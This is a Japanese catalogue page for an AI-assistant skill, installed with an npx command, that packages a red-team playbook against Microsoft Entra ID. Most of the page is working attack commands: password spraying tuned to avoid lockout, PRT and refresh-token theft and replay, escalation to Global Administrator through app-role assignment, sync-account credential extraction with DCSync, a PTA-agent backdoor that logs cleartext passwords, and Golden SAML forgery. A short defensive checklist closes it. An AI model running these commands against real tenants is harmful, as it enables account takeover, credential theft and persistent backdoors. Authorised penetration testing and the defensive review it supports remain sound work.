mcpField
A
attacking-entra-id

attacking-entra-id

github.com/trilwuセキュリティ17748 回インストール12 週間前に更新
リポジトリ

attacking-entra-id について

許可を得たレッドチームやセキュリティテスター向けの Entra ID 攻撃スキルです。テナント偵察、トークン、アプリ権限、Conditional Access、ハイブリッド ID の攻撃経路を扱い、許可されたテストに限ることを明記しています。

主な機能

  1. 01Entra ID テナントと ID 設定の列挙
  2. 02パスワードスプレーとトークンリプレイ経路のテスト
  3. 03アプリ登録、サービスプリンシパル、同意の調査
  4. 04Conditional Access の不足箇所の評価
  5. 05クロステナントとハイブリッド ID 経路の分析
  6. 06マネージド ID とワークロード ID のテスト

活用シーン

  1. 01許可を得た Entra ID テナント評価
  2. 02トークンとアプリ権限のリスク確認
  3. 03Conditional Access の適用範囲の検証
  4. 04ハイブリッド ID とクロステナント攻撃経路の評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/trilwu/secskills --skill attacking-entra-id

インストール後、Claude Code で/attacking-entra-idを入力して読み込まれたか確認します。

詳細

Entra ID への攻撃

Entra ID(旧称 Azure AD)は、Microsoft 365、Azure、および数千の SaaS 統合の ID 制御プレーンです。これを侵害すると、それらの ID が保護するすべてのもの、つまりメールボックス、SharePoint、Azure サブスクリプション、テナントを信頼するあらゆるアプリケーションへのアクセスが可能になります。それにもかかわらず、Entra ID 環境はオンプレミスの Active Directory よりも監視が不十分なことがよくあります。ほとんどの組織では、クラウド ID 攻撃に対する同等の検知範囲が確保されておらず、攻撃対象領域も、OAuth トークン、アプリケーションの同意、サービスプリンシパル、条件付きアクセスの不備など、従来の AD とは根本的に異なります。

テストの許可を得ているテナントに対してのみ実行してください。

使用する場合

  • Entra ID テナントの偵察と列挙
  • Microsoft 365/Azure AD エンドポイントへのパスワードスプレー
  • OAuth トークン、リフレッシュトークン、PRT の窃取またはリプレイ
  • アプリケーション登録、サービスプリンシパル、同意許可の悪用
  • 条件付きアクセスポリシーの回避
  • ハイブリッド ID 攻撃(Azure AD Connect、PTA エージェント)

使用しない場合

  • オンプレミスの Active Directory 攻撃(Kerberoasting、DCSync、ラテラルムーブメント)――attacking-active-directory を使用してください
  • 一般的な AWS/Azure/GCP インフラストラクチャ(VM、ストレージ、IAM ロール)――exploiting-cloud-platforms を使用してください
  • AD CS 証明書の悪用――abusing-adcs を使用してください
  • これらの攻撃の防御的な検知――engineering-detections を使用してください

初期偵察

テナントの検出に認証情報は不要です。まず、対象テナントの存在を確認し、フェデレーション設定を特定して、攻撃対象領域を把握します。

# AADInternals -- tenant recon
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName target.com

# Get tenant ID from OpenID configuration
curl https://login.microsoftonline.com/target.com/.well-known/openid-configuration

# Check user realm (managed vs. federated)
curl "https://login.microsoftonline.com/common/userrealm/[email protected]?api-version=2.0"

# ROADtools -- authenticated enumeration (once you have creds)
roadrecon auth -u [email protected] -p 'Password'
roadrecon gather
roadrecon gui
# Browse the GUI: users, groups, applications, service principals, conditional access

# AzureHound -- BloodHound collection for Azure/Entra
azurehound -u [email protected] -p 'Password' list --tenant target.com -o output.json

ROADtools GUI は、テナントを確認するうえで最も役立つ単一のビューです。有効な認証情報を取得したら、すぐに roadrecon gather を実行してください。

パスワードスプレー

Microsoft はスプレーをレート制限し、ログに記録するため、実行間隔が重要です。ほとんどの構成では、スマートロックアウトを避けるため、ユーザーごとに 30~60 分ごとに 1 つのパスワードを試すようにします。

# MSOLSpray -- targets the Microsoft Online login endpoint
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt -Password 'Spring2026!' -URL https://login.microsoft.com

# o365spray -- enumerate then spray
o365spray --validate --domain target.com
o365spray --enum -U users.txt --domain target.com
o365spray --spray -U valid_users.txt -P passwords.txt --domain target.com --rate 1 --safe 30

# TREVORspray -- distributed spraying via SOCKS proxies
trevorspray -u users.txt -p 'Summer2026!' --delay 1800

ロックアウトを避ける実行間隔:

  • ユーザーごとに最低 30 分間隔で 1 回試行する
  • ユーザーではなく、パスワードをローテーションする
  • ユーザーの以前のパスワードは避ける(別のログイベントが発生します)
  • AADSTS50053(ロックアウト)と AADSTS50126(パスワードが無効)を監視し、ロックアウトと失敗を区別する

トークンの窃取とリプレイ

Entra ID の認証では、複数の種類のトークンが生成されます。それぞれ有効期間、スコープ、リプレイの条件が異なります。

プライマリ更新トークン(PRT)

PRT は、Azure AD に参加済みまたは登録済みのデバイスにキャッシュされる、長期間有効な認証情報です。すべての Microsoft クラウドサービスへの SSO を可能にします。

# Extract PRT using ROADtoken (requires SYSTEM or user session)
ROADtoken.exe

# RequestAADRefreshToken -- request a refresh token using the PRT
RequestAADRefreshToken.exe

# AADInternals -- export PRT from a joined device
$prt = Get-AADIntUserPRTToken
# Use it in a browser by injecting the x-ms-RefreshTokenCredential cookie

PRT の発行時に MFA が満たされていた場合、窃取された PRT は MFA を回避します。PRT に MFA クレームが含まれているためです。

リフレッシュトークンのリプレイ
# Exchange a refresh token for an access token
curl -X POST https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token \
  -d "client_id=CLIENT_ID&grant_type=refresh_token&refresh_token=STOLEN_RT&scope=https://graph.microsoft.com/.default"

# ROADtools -- authenticate with a refresh token
roadrecon auth --refresh-token 'eyJ0...'
roadrecon gather
継続的アクセス評価(CAE)の不備

CAE 対応トークンはほぼリアルタイムで失効状況を確認しますが、すべてのアプリケーションが CAE をサポートしているわけではありません。CAE 非対応リソースのトークン有効期間は、最大 1 時間です。重要なイベントの評価(ユーザーの無効化、パスワードの変更)は数分以内に反映されますが、IP ベースの評価はサポート対象のワークロードに限られます。トークンの失効が即時であると想定する前に、対象アプリケーションが CAE を適用しているか確認してください。

アプリケーションとサービスプリンシパルの悪用

アプリケーションとサービスプリンシパルは、Entra ID で最も見落とされがちな攻撃対象領域です。ユーザーのオフボーディング後も存続し、誰もローテーションしない認証情報を保持し、過剰な API 権限を持つこともよくあります。

危険なアプリケーション権限

ユーザーの同意なしにテナント全体へのアクセスを許可する、アプリケーション(委任ではない)権限:

  • Mail.Read/Mail.ReadWrite -- テナント内のすべてのメールボックスを読み取る
  • RoleManagement.ReadWrite.Directory -- グローバル管理者を含む、任意のディレクトリロールを割り当てる
  • AppRoleAssignment.ReadWrite.All -- 任意のプリンシパルに任意のアプリロールを付与する
  • Application.ReadWrite.All -- 任意のアプリケーション登録を変更する
  • Directory.ReadWrite.All -- ディレクトリオブジェクト全体に対する広範な書き込み権限
# Enumerate applications with high-privilege permissions (Graph API)
az rest --method GET --url "https://graph.microsoft.com/v1.0/servicePrincipals?\$select=displayName,appId,appRoles" \
  --query "value[].{name:displayName,appId:appId}"

# ROADtools -- the GUI shows app permissions under each service principal

# Find apps with credentials (secrets/certificates)
az ad app list --query "[?passwordCredentials || keyCredentials].{name:displayName,appId:appId}" -o table
同意付与の悪用(不正な同意付与)

ユーザーがアプリケーションに同意できる場合、攻撃者は Mail.Read などのスコープを要求する悪意のあるマルチテナントアプリを登録し、ユーザーをフィッシングして同意を付与させることができます。

# Microsoft Graph PowerShell. The AzureAD and MSOnline modules are gone --
# deprecated March 2024, unsupported after 30 March 2025, retired from
# July 2025 -- so any Get-AzureAD*/Get-Msol* command you find in older
# tradecraft will simply fail to authenticate.
Connect-MgGraph -Scopes 'Policy.Read.All','Application.Read.All'

# Check whether user consent is allowed
(Get-MgPolicyAuthorizationPolicy).DefaultUserRolePermissions.PermissionGrantPoliciesAssigned
# If "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present,
# users can consent to third-party apps

# Enumerate existing consent grants
Get-MgOauth2PermissionGrant -All
アプリロール割り当ての権限昇格

AppRoleAssignment.ReadWrite.All を持つサービスプリンシパルを制御できる場合:

# Grant RoleManagement.ReadWrite.Directory to your controlled SP
az rest --method POST \
  --url "https://graph.microsoft.com/v1.0/servicePrincipals/SP_OBJECT_ID/appRoleAssignments" \
  --body '{"principalId":"SP_OBJECT_ID","resourceId":"GRAPH_SP_ID","appRoleId":"ROLE_MANAGEMENT_ROLE_ID"}'
# Then assign Global Administrator to any user or SP

条件付きアクセスのバイパス

条件付きアクセス(CA)ポリシーは Entra ID における主要なセキュリティ制御ですが、抜け穴がよく見られます。

一般的なバイパスのパターン:

  • レガシー認証プロトコル -- レガシー認証をブロックしない CA ポリシーでは、IMAP/POP/SMTP を使ったパスワードのみの認証が可能になります
  • デバイスコンプライアンスの抜け穴 -- コンプライアンスに準拠したデバイスを要求するポリシーでは、サービスアカウントや緊急アクセス用アカウントが除外されていることや、動作しなくなることがよくあります
  • 名前付き場所の信頼 -- ポリシーが特定の IP 範囲を信頼する場合、それらのネットワーク(VPN、侵害されたオンプレミスホスト)上の攻撃者は MFA をバイパスできます
  • プラットフォームの除外 -- Windows/macOS を対象とするポリシーは、Linux やモバイルには適用されない場合があります
  • アプリケーションの除外 -- すべてのアプリケーションが対象とは限りません。Microsoft Admin portals、Azure Management、Graph API を特に確認してください
  • CAE と非 CAE リソース -- 失効シグナルは、非 CAE アプリケーションにはリアルタイムで届きません
# Enumerate CA policies (requires Policy.Read.All or equivalent)
az rest --method GET --url "https://graph.microsoft.com/v1.0/identity/conditionalAccessPolicies"

# ROADtools -- CA policies are visible in the GUI after gathering

# Test legacy auth (if not blocked)
curl -u [email protected]:password https://outlook.office365.com/EWS/Exchange.asmx

テナント間攻撃

B2B ゲストを足がかりにする攻撃

あるテナントのゲストアカウントは、招待先のテナントのリソースにアクセスできることがよくあります。別のテナントのゲストであるユーザーを侵害した場合、そのゲストがアクセス可能な範囲を列挙してください。

# List tenants the compromised user is a guest in
az account list --all --query "[].{tenant:tenantId,name:name}"

# Switch context to the target tenant
az login --tenant TARGET_TENANT_ID

# Enumerate accessible resources in the target tenant
az ad signed-in-user show
az group list
テナント間の信頼関係の悪用

テナント間アクセス設定とテナント間同期によって、信頼経路が生じることがあります。

  • ソーステナントからの MFA クレームを許可するインバウンド信頼 -- ソーステナントのユーザーを侵害すると、MFA をバイパスしてターゲットにアクセスできます
  • ID をターゲットにプッシュするテナント間同期 -- ソーステナントの同期を制御できる場合、ターゲットにアカウントを注入できます
# Enumerate cross-tenant access policies
Get-MgPolicyCrossTenantAccessPolicyPartner | Select TenantId, InboundTrust, AutomaticUserConsentSettings

ハイブリッド ID 攻撃

ハイブリッド環境はオンプレミス AD を Entra ID に接続し、双方向に攻撃経路を生み出します。

Azure AD Connect -- 同期アカウントによる DCSync

Azure AD Connect は、オンプレミス AD でディレクトリレプリケーション権限(DCSync 権限)を持つサービスアカウントを使用します。認証情報は Connect サーバー上に暗号化されて保存されています。

# AADInternals -- extract the sync account credentials from the Connect server
# Requires local admin on the Azure AD Connect host
Import-Module AADInternals
Get-AADIntSyncCredentials
# Returns: username (MSOL_xxxx or custom), password, tenant ID

# Use the sync account to DCSync on-prem AD
secretsdump.py 'MSOL_abc123:[email protected]' -just-dc

Azure AD Connect サーバーを侵害すると、ドメインが侵害されます。また、パスワード書き戻しの対象範囲が制限されていない限り、同期アカウントにはクラウドのパスワードをリセットする機能もあります。

パススルー認証(PTA)エージェントの悪用

PTA エージェントは、クラウドへのログイン時にオンプレミスのパスワードを検証します。PTA エージェントホストへの管理者アクセス権を持つ攻撃者は、認証情報を平文で傍受できます。

# AADInternals -- install a PTA agent backdoor that logs credentials
# and optionally accepts any password
Install-AADIntPTASpy

# Retrieve intercepted credentials
Get-AADIntPTASpyLog

# Remove the spy
Remove-AADIntPTASpy

PTA エージェントホストを侵害すると、同期済みハッシュを使用しないユーザーによるすべてのクラウド認証の認証情報を平文で取得できます。

フェデレーションの悪用(Golden SAML)

ADFS が使用されており、トークン署名証明書を入手している場合:

# Export the ADFS token-signing certificate (requires DA or local admin on ADFS)
# Then forge SAML tokens for any federated user
# AADInternals:
$cert = Export-AADIntADFSSigningCertificate
Open-AADIntOffice365Portal -ImmutableID USER_IMMUTABLE_ID -Issuer FEDERATION_ISSUER -PfxFileName cert.pfx

マネージド ID とワークロード ID フェデレーション

マネージド ID の悪用

Azure のマネージド ID(システム割り当ておよびユーザー割り当て)は、Azure リソースが他のサービスへの認証に使用するサービスプリンシパルです。

# From a compromised Azure VM/Function/App Service -- request a token
curl -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"

# Use the token against Graph API
curl -H "Authorization: Bearer ACCESS_TOKEN" https://graph.microsoft.com/v1.0/me

マネージド ID が Graph または ARM の高い権限を持つ場合、これはサービスプリンシパルの侵害と同等です。

ワークロード ID フェデレーション

ワークロード ID フェデレーションを使うと、外部 ID プロバイダー(GitHub Actions、GCP、AWS)がシークレットなしで Entra ID サービスプリンシパルとして認証できます。

設定ミスのリスク:サブジェクト/発行者の条件が広すぎることです。フェデレーション資格情報が repo:org/specific-repo:ref:refs/heads/main ではなく repo:org/* を信頼する場合、組織内のどのリポジトリからでもその ID を使用できます。

# Enumerate federated credentials on an application
az ad app federated-credential list --id APP_OBJECT_ID

防御レビューのチェックリスト

攻撃ではなく、セキュリティ評価を実施する場合:

  • すべての CA ポリシーでレガシー認証プロトコルがブロックされていますか?
  • Graph API にアプリケーションレベル(委任ではない)のアクセス許可を持つアプリケーションはどれですか?また、その認証情報が最後にローテーションされたのはいつですか?
  • ユーザーはサードパーティ製アプリケーションに同意できますか?それとも管理者の同意が必要ですか?
  • すべての CA ポリシーがすべてのクラウドアプリに適用されていますか?それとも除外がありますか?
  • 参加済みデバイスで PRT 保護(TPM へのトークンのバインド)が適用されていますか?
  • 緊急用アカウントのスコープは限定され、監視されていますか?
  • Azure AD Connect サーバーは Tier 0 資産として強化され、監視されていますか?
  • PTA エージェントのホストは、ドメインコントローラーと同等に強化されていますか?
  • テナント間アクセス ポリシーの対象は特定のパートナーに限定されていますか?それとも広く開放されていますか?
  • ワークロード ID フェデレーションのサブジェクト条件は、厳密にスコープが限定されていますか?
  • サインインログと監査ログの保持期間は、既定の 7 日間を超えるように設定されていますか?

却下すべき合理化

  • 「条件付きアクセスがあるので、どこでも MFA が適用されています。」 レガシー認証の除外、プラットフォームの適用範囲の不足、アプリケーションの除外がないか確認してください。CA は、すべての経路をカバーして初めて機能します。
  • 「アプリには委任されたアクセス許可しかなく、アプリケーションのアクセス許可はありません。」 有効なトークンを持つ、管理者の同意を得たアプリが使用する委任されたアクセス許可でも、ユーザーの完全な権限レベルで操作できます。
  • 「ユーザーのパスワードは定期的にローテーションしています。」 セッションが明示的に取り消されない限り、窃取された PRT や更新トークンはパスワードのローテーション後も有効です。
  • 「サービスプリンシパルには対話型ログインがありません。」 対話型ログインは必要ありません。Mail.Read アプリケーションアクセス許可を持つクライアントシークレットが漏えいすると、テナント内のすべてのメールボックスを気付かれずに読み取れます。
  • 「Azure AD Connect サーバーはドメインに参加しているので、すでに保護されています。」 このサーバーは DCSync が可能な認証情報を保持しているため、ドメインコントローラーと同等の Tier 0 資産として扱う必要があります。
  • 「信頼できるパートナーからの B2B ゲストのみを許可しています。」 パートナーのテナントが侵害された場合、受信信頼ポリシーにより、攻撃者が MFA の要求を満たしているという情報を引き継ぎ、再認証せずにリソースへアクセスできることがあります。
  • 「マネージド ID は漏えいするシークレットがないため、より安全です。」 認証情報の窃取に対してはそのとおりですが、リソース上で実行されるコードはトークンを要求できます。過剰なアクセス許可を持つマネージド ID も、依然として権限昇格の経路になります。

ATT&CK の対象範囲

secskills-core/ttp-index.json から生成されます。ファイルを編集してから、python3 scripts/sync_attack.py --write を実行してください。レポートで参照する前に、ID が現在の ATT&CK リリースと一致していることを再確認してください。

初期アクセス(TA0001)

  • T1078.004 クラウドアカウント (永続化にも該当) — exploiting-cloud-platforms も参照
  • T1199 信頼関係 — exploiting-cloud-platforms、abusing-ci-cd-oidc も参照

認証情報アクセス(TA0006)

  • T1528 アプリケーションアクセストークンの窃取 — testing-apis、exploiting-cloud-platforms、attacking-oauth-oidc も参照
  • T1606.002 SAML トークン — attacking-saml も参照

これらのいずれかに関する検知コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。

参考資料

  • attacking-active-directory -- オンプレミス AD への攻撃とラテラルムーブメント
  • exploiting-cloud-platforms -- より広範なクラウドプラットフォームの悪用(AWS、Azure、GCP)
  • abusing-adcs -- ハイブリッド PKI のシナリオを含む AD CS 証明書の悪用
  • engineering-detections -- Entra ID のサインインログと監査ログを対象とする検知エンジニアリング

コメント